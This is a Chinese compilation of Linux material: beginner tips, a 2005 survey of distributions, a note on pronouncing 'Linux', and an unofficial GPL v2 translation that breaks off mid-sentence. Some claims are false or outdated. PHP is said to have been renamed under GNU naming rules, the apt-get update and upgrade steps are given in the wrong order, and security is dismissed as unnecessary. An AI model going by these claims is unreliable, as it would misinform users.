很多人刚开始用 Linux 的时候,总是在怀疑别的发行版本是否比自己正在用的这个好,总是怀疑自己以后时候会失去支持,不得不换用别的发行。所以很多人今天是 Redhat,明天又换成了 debian, 一会儿又是 gentoo, …… 甚至有的人在一台机器上装了两个版本的 Linux,然后比较哪一个好。

其实你完全没有必要这样做,任何发行,只要你熟悉了,你在上面的工作方式几乎是不会受到任何影响的。你常常听说 Debian 的更新比 Redhat 快,包比 Redhat 多,但是你可以比 Debian 更新还要快,直接到你需要的程序的主站点下载源码来编译就是了。

Debian, TurboLinux, SuSE, Redhat, Gentoo, ... 任何一个版本都是不错的。

3、不要当“传教士”

很多人在讨论区不断的引起 "Linux vs. Windows" 之类的讨论,甚至争的面红耳赤,这是没有必要的。因为各人的需要不同,生活的环境不同,你不可能得到一个定论。我们需要尊重别人的选择,这是你在进行任何对工具的讨论前需要提醒自己的事情。面对一些容易引起争论的东西:Word 和 TeX;Emacs 和 VIM;MAXIMA,Mathematica 和 Maple;Gnome,FVWM 和 KDE;Mutt 和 Pine …… 一定要冷静。

你需要关心的不是你的工具是什么,而是你用它做了什么。精通 Linux 并不说明任何问题,因为它只是一个工具而已。如果你用 Windows 能很好的完成你的任务,那你就没有必要费时间去熟悉 Linux。直到有一天你发现一项任务只有 Linux 才能完成的时候再换也不迟,因为你身边的 Linux 的爱好者一定会很乐意的帮助你。

并不是喜欢一种东西就必须反对其它的。世界需要多样性,人们都需要FUN。用自己的兴趣去压制别人的,就会毁掉所有的兴趣。个人喜欢什么就用什么,完全没必要为这个争论。

不要做“传教士”!你说我现在就是在“传教”?冤枉啊~

4、直接从源码安装程序

很多人放着最新的源码不用,等着有人帮他做出 rpm, deb, 才能安装。我说你为什么不用源码编译,这样版本比 rpm 高的多,有很多新功能,而没有烦人的依赖关系。可是他说:“要是我用源码编译安装,卸载的时候就不方便了,会留下很多垃圾。”

为什么程序还没有安装你就想到卸载?难道你不知道这个程序是用来做什么的?你应该改变到处找程序来试用的作法,而应该先了解一下到底那些程序有同样的功能,听听别人的意见,看看它们各有什么长处和短处,然后挑一个最适合你的程序来用。

从源码编译安装程序,不但比你装rpm更适合自己的机器设置,而且它们一般会装到 /usr/local 目录,这样你以后如果换硬盘重装系统,也可以把以前 /usr/local 下的程序原封不动拷贝过去用。我的 /usr/local 下有 2G 之多的程序,你想要是我有一台新机器要重新安装,然后配置,得花费多少时间?实际上我曾经通过网络把它们传到一台新机器上,然后就出去吃晚饭,回来时我就得到了另一台一摸一样的 Linux 机器。

确实要卸载 make install 的程序怎么办呢?答案是直接删掉。别以为直接删掉程序会留下垃圾,引起“系统不稳定”。(btw: 这是谁教你的啊?呵呵。) make install 无非就是把可执行程序放在 /usr/local/bin, 把某些函数库放在 /usr/local/lib,把数据文件放在 /usr/local/share 下一个它自己的目录,你把这些东西都删掉就行了,不会留下垃圾,即使真的留下一点文件没有删掉也占不了多少空间,更不可能引起系统不稳定。UNIX 就是这么简单

但是有几个程序不建议从源码安装,它们是 Mozilla, Open Office, ... 它们编译时会占用你几个G的空间和好几个小时的时间,这种花费我觉得是不值得的,因为你不能从编译得到更多好处,不如直接安装编译好的版本。

5、不要盲目升级

不知道这是心理作用还是什么,有的人看到比较大的版本号,就会很想换成那个。很多人的 Redhat 本来配置的很舒服了,可是一旦 Redhat 发行新的版本,他们就会尽快下载过来,然后选择升级安装。结果很多时候把自己原来修改得很好的配置文件给冲掉了。新的软件又带来了新的问题,比如有一次我的 rxvt 升级到 2.7.8 就跟 miniChinput 冲突了,升级到 Redhat 8.0,发现 xmms 居然缺省不能放mp3了,XFree86 的 xtt 模块在 I810 上有新的 bug,会导致 Mozilla 突然退出。

如果你已经配置好了一切,千万别再整体升级了,这会浪费你很多很多时间的,不值得。如果需要的话,你可以只把某些部件升级,比如内核,glibc, gcc, XFree86,...

使用 UNIX 的经典程序

好的程序一般都是可以很方便的在很多种 UNIX 上移植的,bash, VIM, Emacs, Mutt, FVWM, xterm, 都是这样。如果你用这些程序,你就可以在 Sun, HP, ... 等工作站上也装上,这样你在各种机型上的工作环境就几乎完全一样了!你不需要在 Sun 上面用 CDE,在PC上又换成 KDE,在它们上面都装一个 FVWM,使用相同的配置文件,就能得到一致的界面。

这些程序大部分都是久经考验的,是经过很多人多年开发的结果。它们功能完善,各种情况都考虑周全,绝对是你的好助手。

6、不要配置你不需要的东西

如果你只想做一个像我这样的普通用户,主要目的是用 Linux 来完成自己的科研任务和日常工作,那就可以不用系统管理员或者网络管理员的标准来要求自己,因为当一个系统和网络管理员确实很辛苦。普通用户学习那些不经常用到的复杂的维护系统的工具,其实是浪费时间,学了不用是会很快忘记的!

我不是一个合格的网络管理员,我的服务器都只设置了我自己需要的功能,设置好 ssh, ftp 已经足够了,那样可以省去我很多麻烦。我从来不过度考虑“安全”,因为 Linux 缺省已经很安全了。我没有磁带机,就不用管 tar 的那些稀奇古怪的参数了,czf, xzf, ztf 已经可以满足我所有的需要。sed, awk, ... 我也只会几种常用的命令行。

7、不用忙着看内核源码

除非你想研究操作系统,否则还是先把怎么使用 Linux 掌握好再说吧。我以前看了那么多内核源代码,写了驱动程序,结果最后发现我还是一只很多事情不能用 Linux 解决的菜鸟 吸取我的教训吧,你应该首先掌握 shell,Xwindow 的使用和原理,它们可不比内核简单。

Linux以及各大发行版介绍

出处 http://www.noobu.com 作者:沧蓝 欢迎转载,请注明出处与作者,谢谢
本文的完美排版版本:http://www.noobu.com/0502_linux_intro.html

2005-9-4 鉴于原图片链接失效,月下刀客重新编辑本文所有图片链接,特此说明。

什么是Linux?

也许很多人会不屑的说,Linux不就是个操作系统么。错!Linux不是一个操作系统,严格来讲,Linux只是一个操作系统中的内核。内核是什么?内核建立了计算机软件与硬件之间通讯的平台,内核提供系统服务,比如文件管理、虚拟内存、设备I/O等。

既然Linux只是一个内核。那么我们通常所说的Linux操作系统又是什么?我们通常所说的Linux,指GNU/Linux,即采用Linux内核的GNU操作系统。是的,操作系统的实际名称是GNU。什么是GNU?GNU代表GNU’s Not Unix。可以说是一个操作系统又可以说是一种规范。比如,众所周知的PHP,原名为Personal HomePage(个人主页),根据GNU的软件命名规则,PHP现已更名为PHP: Hypertext Preprocessor(超文本预处理程序)。


谁编写/创造了Linux?

Linux最早由Linus Torvalds在1991年开始编写。在这期间,Richard Stallman创建了GNU组织,并不断的编写创建GNU程序(程序的许可方式均为GPL: General Public License)。在不断的有程序员和开发者加入到GNU组织中后,变造就了今天我们所看到的Linux,或称GNU/Linux。

什么是Linux发行版?

正如之前所说的,Linux只是一个内核。然而,一个完整的操作系统不仅仅是内核而已。所以,许多个人、组织和企业,开发了基于GNU/Linux的Linux发行版。这其中最著名的便是Red Hat公司的Red Hat系列以及社区(community)组织的Debian系列。

下面我就简单得介绍一下目前比较著名、流行的Linux发行版本。部分资料来源:DistroWatch.com

Mandriva


Mandriva原名Mandrake,最早由Gaël Duval创建并在1998年7月发布。记得前两年国内刚开始普及Linux时,Mandrake非常流行。说起Mandrake的历史,其实最早Mandrake的开发者是基于Redhat进行开发的。Redhat默认采用GNOME桌面系统,而Mandrake将之改为KDE。而由于当时的Linux普遍比较难安装,不适合第一次接触Linux的新手,所以Mandrake还简化了安装系统。我想这也是当时Mandrake在国内如此红火的原因之一。Mandrake在易用性方面的确是下了不少功夫,包括默认情况下的硬件检测等。

Mandrake的开发完全透明化,包括“cooker”。当系统有了新的测试版本后,便可以在cooker上找到。之前Mandrake的新版本的发布速度很快,但从9.0之后便开始减缓。估计是希望能够延长版本的生命力以确保稳定和安全性。

优点:友好的操作界面,图形配置工具,庞大的社区技术支持,NTFS分区大小变更
缺点:部分版本bug较多,最新版本只先发布给Mandrake俱乐部的成员
软件包管理系统:urpmi (RPM)
免费下载:FTP即时发布下载,ISO在版本发布后数星期内提供
官方主页:http://www.mandrivalinux.com/

Red Hat


国内,乃至是全世界的Linux用户所最熟悉、最耳闻能详的发行版想必就是Red Hat了。Red Hat最早由Bob Young和Marc Ewing在1995年创建。而公司在最近才开始真正步入盈利时代,归功于收费的Red Hat Enterprise Linux(RHEL,Red Hat的企业版)。而正统的Red Hat版本早已停止技术支持,最后一版是Red Hat 9.0。于是,目前Red Hat分为两个系列:由Red Hat公司提供收费技术支持和更新的Red Hat Enterprise Linux,以及由社区开发的免费的Fedora Core。Fedora Core 1发布于2003年年末,而FC的定位便是桌面用户。FC提供了最新的软件包,同时,它的版本更新周期也非常短,仅六个月。目前最新版本为FC 3,而FC4也预定将于今年6月发布。这也是为什么服务器上一般不推荐采用Fedora Core。

适用于服务器的版本是Red Hat Enterprise Linux,而由于这是个收费的操作系统。于是,国内外许多企业或空间商选择CentOS。CentOS可以算是RHEL的克隆版,但它最大的好处是免费!菜鸟油目前的服务器便采用的CentOS 3.4。

优点:拥有数量庞大的用户,优秀的社区技术支持,许多创新
缺点:免费版(Fedora Core)版本生命周期太短,多媒体支持不佳
软件包管理系统:up2date (RPM), YUM (RPM)
免费下载:是
官方主页:http://www.redhat.com/

SUSE


SUSE是德国最著名的Linux发行版,在全世界范围中也享有较高的声誉。SUSE自主开发的软件包管理系统YaST也大受好评。SUSE于2003年年末被Novell收购。

SUSE之后的发布显得比较混乱,比如9.0版本是收费的,而10.0版本(也许由于各种压力)又免费发布。这使得一部分用户感到困惑,也转而使用其它发行版本。但是,瑕不掩瑜,SUSE仍然是一个非常专业、优秀的发行版。

优点:专业,易用的YaST软件包管理系统
缺点:FTP发布通常要比零售版晚1~3个月
软件包管理系统:YaST (RPM), 第三方APT (RPM) 软件库(repository)
免费下载:取决于版本
官方主页:http://www.suse.com/

Debian GNU/Linux


Debian是菜鸟油服务器之前所采用的操作系统。Debian最早由Ian Murdock于1993年创建。可以算是迄今为止,最遵循GNU规范的Linux系统。Debian系统分为三个版本分支(branch):stable, testing 和 unstable。截至2005年5月,这三个版本分支分别对应的具体版本为:Woody, Sarge 和 Sid。其中,unstable为最新的测试版本,其中包括最新的软件包,但是也有相对较多的bug,适合桌面用户。testing的版本都经过unstable中的测试,相对较为稳定,也支持了不少新技术(比如SMP等)。而Woody一般只用于服务器,上面的软件包大部分都比较过时,但是稳定和安全性都非常的高。菜鸟油之前所采用的是Debian Sarge。

为何有如此多的用户痴迷于Debian呢(包括笔者在内)?apt-get / dpkg是原因之一。dpkg是Debian系列特有的软件包管理工具,它被誉为所有Linux软件包管理工具(比如RPM)最强大的!配合apt-get,在Debian上安装、升级、删除和管理软件变得异常容易。许多Debian的用户都开玩笑的说,Debian将他们养懒了,因为只要简单得敲一下”apt-get upgrade && apt-get update”,机器上所有的软件就会自动更新了……

优点:遵循GNU规范,100%免费,优秀的网络和社区资源,强大的apt-get
缺点:安装相对不易,stable分支的软件极度过时
软件包管理系统:APT (DEB)
免费下载:是
官方主页:http://www.debian.org/

Ubuntu


笔者的桌面电脑便使用的Ubuntu。依照笔者的理解,简单而言,Ubuntu就是一个拥有Debian所有的优点,以及自己所加强的优点的近乎完美的Linux操作系统。 Ubuntu是一个相对较新的发行版,但是,它的出现可能改变了许多潜在用户对Linux的看法。也许,从前人们会认为Linux难以安装、难以使用,但是,Ubuntu出现后,这些都成为了历史。Ubuntu基于Debian Sid,所以这也就是笔者所说的,Ubuntu拥有Debian的所有优点,包括apt-get。然而,不仅如此而已,Ubuntu默认采用的GNOME桌面系统也将Ubuntu的界面装饰的简易而不失华丽。当然,如果你是一个KDE的拥护者的话,Kubuntu同样适合你!

Ubuntu的安装非常的人性化,只要按照提示一步一步进行,安装和Windows同样简便!并且,Ubuntu被誉为对硬件支持最好最全面的Linux发行版之一,许多在其他发行版上无法使用,或者默认配置时无法使用的硬件,在Ubuntu上轻松搞定。并且,Ubuntu采用自行加强的内核(kernel),安全性方面更上一层楼。并且,Ubuntu默认不能直接root登陆,必须从第一个创建的用户通过su或sudo来获取root权限(这也许不太方便,但无疑增加了安全性,避免用户由于粗心而损坏系统)。Ubuntu的版本周期为六个月,弥补了Debian更新缓慢的不足。

优点:人气颇高的论坛提供优秀的资源和技术支持,固定的版本更新周期和技术支持,可从Debian Woody直接升级
缺点:还未建立成熟的商业模式
软件包管理系统:APT (DEB)
免费下载:是
官方主页:http://www.ubuntulinux.org/

Gentoo


Gentoo最初由Daniel Robbins(前Stampede Linux和FreeBSD的开发者之一)创建。由于开发者对FreeBSD的熟识,所以Gentoo拥有媲美FreeBSD的广受美誉的ports系统——portage。(Ports和Portage都是用于在线更新软件的系统,类似apt-get,但还是有很大不同)Gentoo的首个稳定版本发布于2002年。

Gentoo的出名是因为其高度的自定制性:因为它是一个基于源代码的(source-based)发行版。尽管安装时可以选择预先编译好的软件包,但是大部分使用Gentoo的用户都选择自己手动编译。这也是为什么Gentoo适合比较有Linux使用经验的老手使用的原因。但是要注意的是,由于编译软件需要消耗大量的时间,所以如果你所有的软件都自己编译,并安装KDE桌面系统等比较大的软件包,可能需要几天时间才能编译完……

优点:高度的可定制性,完整的使用手册,媲美Ports的Portage系统,适合“臭美”的高手使用^^
缺点:编译耗时多,安装缓慢
软件包管理系统:Portage (SRC)
免费下载:是
官方主页:http://www.gentoo.org/

Slackware


Slackware由Patrick Volkerding创建于1992年。算起来应当是历史最悠久的Linux发行版。曾经Slackware非常的流行,但是当Linux越来越普及,用户的技术层面越来越广(更多的新手)后,Slackware渐渐的被新来的人们所遗忘。在其他主流发行版强调易用性的时候,Slackware依然固执的追求最原始的效率——所有的配置均还是要通过配置文件来进行。

尽管如此,Slackware仍然深入人心(大部分都是比较有经验的Linux老手)。Slackware稳定、安全,所以仍然有大批的忠实用户。由于Slackware尽量采用原版的软件包而不进行任何修改,所以制造新bug的几率便低了很多。Slackware的版本更新周期较长(大约1年),但是新版本的软件仍然不间断的提供给用户下载。

优点:非常稳定、安全,高度坚持UNIX的规范
缺点:所有的配置均通过编辑文件来进行,自动硬件检测能力较差
软件包管理系统:Slackware Package Management (TGZ)
免费下载:是
官方主页:http://www.slackware.com/

Knoppix


由德国的Klaus Knopper开发的Knoppix,是一个基于Debian的发行版。Knoppix严格算起来是一款LiveCD Linux,所谓的LiveCD就是整个操作系统都在一张光盘上,只要开机从光盘启动,就能拥有一个完整的Linux系统!无需安装!当然,Knoppix也能够非常轻松的安装到硬盘上。其强大的硬件检测能力、系统修复能力、即时压缩传输技术,都令人大加称赞。可以说,在LiveCD界,Knoppix是无人能及的!

优点:无需安装可直接运行于CD上,优秀的硬件检测能力,可作为系统急救盘使用
缺点:LiveCD由于光盘的数据读取速度限制导致性能大幅下降
软件包管理系统:APT (DEB)
免费下载:是
官方主页:http://www.knoppix.com/

MEPIS


MEPIS由Warren Woodford在2003年建立。MEPIS虽然刚建立不久,但是迅速的传播在Linux用户间。简单来说,MEPIS是一个集合了Debian Sid和Knoppix的产物。用户即能将之当作LiveCD使用,也能使用常规的图形界面进行安装。

MEPIS默认集成安装了Java Runtime Environment、Flash插件、nVidia加速驱动等许多常用的程序。用户可以非常轻松的安装完系统后就直接开始使用,而不用到处寻找资料如何下载、如何安装、如何配置这些软件。这不仅给Linux新手带来了便捷,也给老手们节约了相当多的时间。

优点:LiveCD与常规安装两用,优秀的硬件检测能力,预装了许多实用的软件
缺点:建立时间不长,默认的界面有些寒酸
软件包管理系统:APT (DEB)
免费下载:是
官方主页:http://www.mepis.org/

Xandros


Xandros建立在已经成为历史的Corel Linux之上。当初Corel Linux的公司由于财政上的困难,被迫终止了Corel Linux的开发,而Xandros适时的将Corel Linux部门买下,于2002年10月推出全新的Xandros Desktop。

Xandros的卖点在于极其简单的安装和使用,所以它的市场定位是那些没有任何Linux使用经验的新手,或是习惯使用Windows的用户。Xandros的标准版和增强版都是商业软件,分别售价$40和$99美元。不过你仍然可以在这里下载到免费的公开发行版。

优点:适合完全没有经验的新手,安装完以后就能立即投入使用,自带非常不错的工具
缺点:商业软件
软件包管理系统:Xandros Networks (DEB) 或 APT (DEB) (可选,但不提供技术支持)
免费下载:公开发行版
官方主页:http://www.xandros.com/

FreeBSD


首先要强调的是:FreeBSD不是一个Linux系统! 可是,为什么笔者要介绍FreeBSD呢?因为FreeBSD的用户也相当多,其许多特性都与Linux相类似。事实上,Linux和BSD(Berkeley Software Distribution)均是UNIX的演化分支。并且,Linux中相当多的特性和功能(比如用于配置DNS的Bind软件)都是取自于BSD的。而FreeBSD便是BSD家族中最出名,用户数量最多的一个发行版。MEZOC之前所采用的便是FreeBSD系统。

FreeBSD建立于1993年,拥有相当长的历史。FreeBSD拥有两个分支:stable和current。顾名思义,stable是稳定版,而current则是添加了新技术的测试版。另外,FreeBSD会不定期的发布新的版本,称为RELEASE,stable和current均有自己的RELEASE版本。比如4.11-RELEASE和5.3-RELEASE,请注意,这并不代表后者比前者的版本新。这仅仅代表前者(数字小的版本)是stable版本,后者(数字大的版本)是current版本。

FreeBSD除了作为服务器系统外,也适合桌面用户。不过,考虑到软件方面的兼容性,一般用户选择FreeBSD作为桌面系统不是很明智。作为服务器而言,FreeBSD是相当优秀的。曾经有人说过,同样的服务器硬件配置,运行同样的一个vBulletin论坛,FreeBSD所用的资源要比Linux少。这也是为什么许多空间商极力推崇FreeBSD的原因。

优点:速度快,非常稳定,优秀的使用手册,Ports系统
缺点:比起Linux而言对硬件的支持较差,对于桌面系统而言软件的兼容性是个问题
软件包管理系统:Ports (TBZ)
免费下载:是
官方主页:http://www.freebsd.org/

如果在常用的Linux中分类,我想应该有两个比较大的方向,商业版本和非商业版本。上面的版本中,Redhat,Suse,Mandrake,Redflag,Opendesktop,Cosix,Rays都是中内外的商业版本。像Magic Linux,Debian,Hiweed,Gentoo等则属于非商业版本。从另一个大方向分,可以分为Redhat系列和Debian系列(这样说很不精确,也没有别人这样说过,但大致上可以这么说),像Magic Linux,Suse,Mandrake,Redflag,Opendesktop,Cosix都采用了Redhat的RPM包管理方式,像Hiweed,Rays采用了Debian的包管理方式,对于网络良好的用户,此包管理方式有得天独厚的优势。Gentoo也采用了Debian类似的包管理方式。现在以Redhat系统为主,但相信随着网络的发展,Debian管理方式会吸引更多用户。对初级用户,如果选择两个系列,我分别推荐Redhat系列的Magic Linux和Debian系列的Rays,对Linux更加了解以后你们有能力去选择更适合自己的版本。

以上介绍了目前较为流行的各Linux发行版本,希望对大家有所帮助。同时,笔者也希望越来越多的朋友投入到Linux的大家庭中!\^O^/

linux的发音

linux的发音

linux发音是五花八门版本颇多,就笔者见到和听到的不下10种。对这种情况,据说,linux的创始人Linus(Linus Torvalds)针对读音分歧较多的情况,特意录了一段他对Linux的发音。这段录音的内容是这样的:“Hello,this is Linus Torvalds and I pronounce Linux as Linux”。我听出来的是/'li:nэks/,综合网上和linus自己的读音,概括出几个自认为最合适也最通用的读法:/Li'nQks/(“里那克斯”)或/'li:nэks/(“里呢克斯”)或/Li'nu:ks?/(“里纽克斯”)。这几个应该是谁都听得懂的。至于哪个比较正宗,当然是linus的原音。但事实上似乎使用linus那种读发的人并不在多数。

提示:上面的这段录音可以在RedHat中调试声卡的时候可以听到,如果你的声卡调试成功,系统会播放上面一段声音以示成功。

GNU 通用公共许可证

1. GNU 通用公共许可证
2. 一九九一年六月 第二版
(原文出处: http://www.gnu.org/copyleft/gpl.html)
版权所有 (C) 1989,1991 Free Software Foundation, Inc.59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
允许每个人复制和发布这一许可证原始文件的副本,但绝对不允许对它进行任何修改。
3. 声明
This is an unofficial translation of the GNU General Public License into Chinese. It was not published by the Free Software Foundation, and does not legally state the distribution terms for software that uses the GNU GPL--only the original English text of the GNU GPL does that. However, we hope that this translation will help Chinese speakers understand the GNU GPL better.
这是一份 GNU 通用公共许可证非正式的中文翻译。它不是自由软件基金会所发布,并且不能适用于使用 GNU GPL 的软件 ── 只有 GNU GPL 英文原文的版本才行。然而,我们希望这份翻译能帮助中文的使用者更了解 GNU GPL。
4. 序言
 大多数软件许可证的用意在于剥夺您共享和修改软件的自由。相反的,GNU 通用公共许可证力图保证您共享和修改自由软件的自由 ── 保证自由软件对所有使用者都是自由的。GNU GPL 适用于大多数自由软件基金会的软件,以及任何因信任而采用 GNU GPL 的作者所开发的软件。(有些自由软件基金会软件受 GNU 函式库通用许可证的保护)。您也可以将它用到您的程序中。
 当我们谈到自由软件 (free software) 时,我们指的是自由而不是价格。我们把 GNU 通用公共许可证设计成您的保障,让您保有发布自由软件的自由(您可以自由决定是否要对此项服务收取费用);确保您能收到程序原始码或者在您需要时能得到它;确保您能修改软件或将它的一部分用于新的自由软件;而且还确保您知道您拥有这些权利。
 为了保护您的权利,我们需要作出规定:禁止任何人剥夺您的权利,或者要求您放弃这些权利。如果您修改了自由软件或者发布了软件的副本,这些规定就转化为您的责任。
 例如,如果您发布这样一个程序的副本,不管是免费的还是收费的,您必须将您具有的一切权利给予您的接受者;您必须确认他们能收到或得到原始程序代码;并且将这些条款给他们看,使他们知道他们有这样的权利。
 我们采取两项措施来保护您的权利:
1. 用版权来保护软件。
2. 提供您许可证,赋予您复制,发布和修改这些软件的法律许可。
 同样,为了保护每个作者和我们自己,我们需要清楚地让每个人明白,自由软件没有担保 (no warranty)。如果由于某人修改了软件,并继续加以传播,我们需要它的接受者明白:他们所得到的并不是原来的自由软件。由其它人引入的任何问题,不应损害原作者的声誉。
 最后,由于任何自由软件不断受到软件专利的威胁,故我们希望避免这样的风险。如果自由软件的再发布者以个人名义获得专利许可证,也就等同将软件变为私有。为防止这一点,我们必须明确声明: 任何专利必须以允许每个人自由使用为前提,否则就不准许有专利。
 下面是有关复制、发布和修改的确切的条款和条件。
5. GNU 通用公共许可证有关复制,发布和修改的条款和条件
0. 凡是版权所有者在其程序和作品中声明其程序和作品可以在 GNU GPL 条款的约束下发布,这样的程序或作品都受到本许可证约束。下面提到的 "程序" 指的是任何这样的程序或作品。而 "程序的衍生作品" 指的是这样的程序或者版权法认定下的衍生作品,也就是说包含此程序或程序的一部分的套件,可以是原封不动的,或经过修改的,和/或翻译成其它语言的 (程序)。(在下文中,"修改" 一词的涵义一律包含翻译作品。) 每个许可证接受人 (licensee) 用 "您" 来称呼。
 本许可证条款不适用于复制,发布和修改以外的行为。这些行为超出这些条款的范围。执行本程序的行为不受条款的限制。而程序的输出只有在其内容构成本程序的衍生作品 (并非只是因为该输出由本程序所产生) 时,这一条款才适用。至于程序的输出内容是否构成本程序的衍生作品,则取决于程序具体的用途。
1. 只要您在每一程序副本上明显和恰当地宣告版权声明和不承担担保的声明,并原封不动保持此许可证的声明和没有担保的声明,并将此许可证连同程序一起给其它每位程序接受者,您就可以用任何媒体复制和发布您收到的程序的原始码。
 您可以为转让副本的实际行动收取一定费用。您也可以自由决定是否以提供担保来换取一定的费用。
2. 您可以修改程序的一个或几个副本或程序的任何部分,以此形成基于这些程序的衍生作品。只要您同时满足下面的所有条件,您就可以按前面第一款的要求复制和发布这一经过修改的程序或作品。
您必须在修改过的档案中附有明显的说明:您修改了此一档案及任何修改的日期。
您必须让您发布或出版的作品,包括本程序的全部或一部分,或内含本程序的全部或部分所衍生的作品,允许第三方在此许可证条款下使用,并且不得因为此项授权行为而收费。
如果修改的程序在执行时以交谈方式读取命令,您必须使它在开始进入一般的交谈使用方式时打印或显示声明:包括适当的版权声明和没有担保的声明(或者您提供担保的声明);使用者可以按此许可证条款重新发布程序的声明;并告诉使用者如何看到这一许可证的副本。 (例外的情况:如果原始程序以交谈方式工作,但它通常并不打印这样的声明,那么您基于此程序的作品也就不用打印声明)。
 这些要求适用于整个修改过的作品。如果能够确定作品的一部分并非本程序的衍生产品,且可以合理地单独考虑并将它与原作品分开的话,则当您将它作为独立的作品发布时,它不受此许可证和其条款的约束。但是当您将这部分与基于本程序的作品一同发布时,则整个套件将受到本许可证条款约束,因为本许可证对于其它许可证持有人的授权扩大到整个产品,也就是套件的每个部分,不管它是谁写的。
 因此,本条款的意图不在于剥夺您对完全由您自身完成作品的权利,而是履行权利来控制基于本程序的集体作品或衍生作品的发布。
 此外,将与本程序无关的作品和本程序 (或本程序的衍生作品) 一起放在贮存媒体或发布媒体的同一卷上,并不导致将其它作品置于此许可证的约束范围之内。
3. 您可以以目标码或可执行形式复制或发布程序 (或符合第 2 款,本程序的衍生作品),只要您遵守前面的第 1、2 款,并同时满足下列三条中的任一条。
在通常用作软件交换的媒体上,和目标码一起附有机器可读的完整的本程序原始码。这些原始码的发布应符合上面第 1,2 款的要求。或者
在通常用作软件交换的媒体上,和目标码一起,附上书面报价,提供替第三方复制原始码的服务。该书面报价有效期不得少于 3 年,费用不得超过完成原程序发布的实际成本,原始码的发布应符合上面的第 1,2 款的要求。或者
和目标码一起,附有您收到的发布原码的报价信息。 (这一条款只适用于非商业性发布,而且您只收到程序的目标码或可执行码,和按 b 款要求提供的报价)
 作品的原始码指的是对作品进行修改最优先择取的形式。对可执行的作品而言,完整的原始码套件包括:所有模块的所有原始程序,加上有关的接口的定义,加上控制可执行作品的安装和编译的 script。至于那些通常伴随着执行本程序所需的操作系统组件 (如编译器、核心等) 而发布的软件 (不论是原始码或可执行码),则不在本许可证要求以程序原始码形式伴随发布之列,除非它是本程序的一部分。
 如果可执行码或目标码是以指定复制地点的方式来发布,那么在同一地点提供等价的原始码复制服务也可以算作原始码的发布,然而第三方并不需因此而负有必与目标码一起复制原始码的义务。
4. 除了本许可证明白声明的方式之外, 您不能复制,修改,转发许可证和发布程序。任何试图用其它方式复制,修改,转发许可证和发布程序是无效的,而且将自动结束许可证赋予您的权利。然而,对那些从您那里按许可证条款得到副本和权利的人们,只要他们继续全面履行条款,许可证赋予他们的权利仍然有效。
5. 您没有在许可证上签字,因而您没有必要一定接受此一许可证。然而,没有任何其它东西赋予您修改和发布程序及其衍生作品的权利。如果您不接受许可证,这些行为是法律禁止的。因此,如果您修改或发布程序 (或本程序的衍生作品) ,您就表明您接受这一许可证以及它的所有有关复制、发布和修改程序或基于程序的作品的条款和条件。
6. 每当您重新发布程序 (或任何程序的衍生作品) 时,接受者自动从原始许可证颁发者那里接到受这些条款和条件支配的复制、发布或修改本程序的许可。您不可以增加任何条款来进一步限制本许可证赋予他们的权利。您也没有强求第三方履行许可证条款的义务。
7. 如果由于法院判决或违反专利的指控或任何其它原因 (不限于专利问题) 的结果,使得强加于您的条件 (不管是法院判决,协议或其它) 和许可证的条件有冲突时,他们也不能令您背离许可证的条款。在您不能同时满足本许可证规定的义务及其它相关的义务来发布程序时,则结果您只能够根本不发布程序。例如,如果某一专利许可证不允许所有直接或间接从您那里接受副本的人们,在不付专利费的情况下重新发布程序,唯一能同时满足两方面要求的办法是停止发布程序。
 如果本条款的任何部分在特定的环境下无效或无法实施,就使用条款的其余部分,并将这部分条款作为整体用于其它环境。
 本条款的目的不在于引诱您侵犯专利或其它财产权的要求,或争论这种要求的有效性。本条款的主要目的在于保护自由软件发布系统的完整性。它是通过公共许可证的应用来实现的。许多人已依赖同是出自此系统的应用程序,经由此系统发布大量自由软件而做出慷慨的供献。作者/捐献者有权决定他/她是否通过任何其它系统发布软件,许可证接受者不能强迫作者/捐献者做某种特定的选择。
我们相信许可证其它部分已涵盖本节所述状况,本节目的只在更明确说明许可证其余部分可能产生的结果。
8. 如果由于专利或者由于有版权的接口问题使程序在某些国家的发布和使用受到限制,则以本许可证发布程序的原始作者可以增加发布地区的限制条款,将这些国家明确排除在外,并在这些国家以外的地区发布程序。在这种情况下,这些限制条款如同写入本许可证一样,成为许可证的条款。
9. 自由软件基金会可能随时出版通用公共许可证的修改版或新版。新版和当前的版本在精神上保持一致,但在细节上可能有出入,以处理新的问题与状况。
 每一版本都有不同的版本号。如果程序指定可适用的许可证版本号以及 "任何更新的版本" ,您有权选择遵循指定的版本或自由软件基金会以后出版的新版本。如果程序未指定许可证版本,您可选择自由软件基金会已经出版的任何版本。
10. 如果您愿意将程序的一部分结合到其它自由程序中,而它们的发布条件不同,请写信给作者,要求准予使用。如果是自由软件基金会加以版权保护的软件,请写信给自由软件基金会,我们有时会作为例外的情况处理。我们的决定受两个主要目标的指导,这两个主要目标是:我们的自由软件的衍生作品继续保持自由状态,以及从整体上促进软件的共享和重复利用。
6. 没有担保
11. 由于程序准予免费使用,在适用法准许的范围内,对程序没有担保。除非另有书面说明,版权所有者和/或其它提供程序的人们 "一样" 不提供任何类型的担保,不论是明确的,还是隐含的,包括但不限于可销售和适合特定用途的隐含保证。全部的风险,如程序的质量和性能问题都由您来承担。如果程序出现缺陷,您应当承担所有必要的服务、修复和改正的费用。
12. 除非适用法或书面协议的要求,在任何情况下,任何版权所有者或任何按许可证条款修改和发布程序的人们都不对您的损失负有任何责任。包括由于使用或不能使用程序引起的任何一般的、特殊的、偶然发生的或重大的损失 (包括但不限于数据的损失,或者数据变得不精确,或者您或第三方的持续的损失,或者程序不能和其它程序协调运行等) 。即使版权所有者和其它人已被告知这种损失的可能性也不例外。
7. 条款结束
(译注: 以下不是法律条文, 只是要教一般的程序设计师如何使用 GNU GPL)
8. 如何将这些条款用到您的新程序
 如果您开发了新程序,而且您需要它得到公众最大限度的利用,要做到这一点的最好办法是将它施以 GNU GPL,使得每个人都能循此条款来修改和重新发布你写的软件。
 为了做到这一点,请将程序附上下列声明。最安全的方式是将它放在每个原始码档案的开头,以便最有效地传递没有担保的信息。每个文件至少应有 "版权所有" 行以及在什么地方能看到声明全文的说明。
用一行空间描述程序的名称和它的用途版权所有 (C) 19XX 作者姓名
 本程序是自由软件,您可以遵照自由软件基金会 (Free Software Foundation) 出版的 GNU 通用公共许可证条款 (GNU General Public License) 第二版来修改和重新发布这一程序,或者自由选择使用任何更新的版本。
 发布这一程序的目的是希望它有用,但没有任何担保。甚至没有适合特定目的而隐含的担保。更详细的情况请参阅 GNU 通用公共许可证。
 您应该已经和程序一起收到一份 GNU 通用公共许可证的副本。如果还没有,写信给:
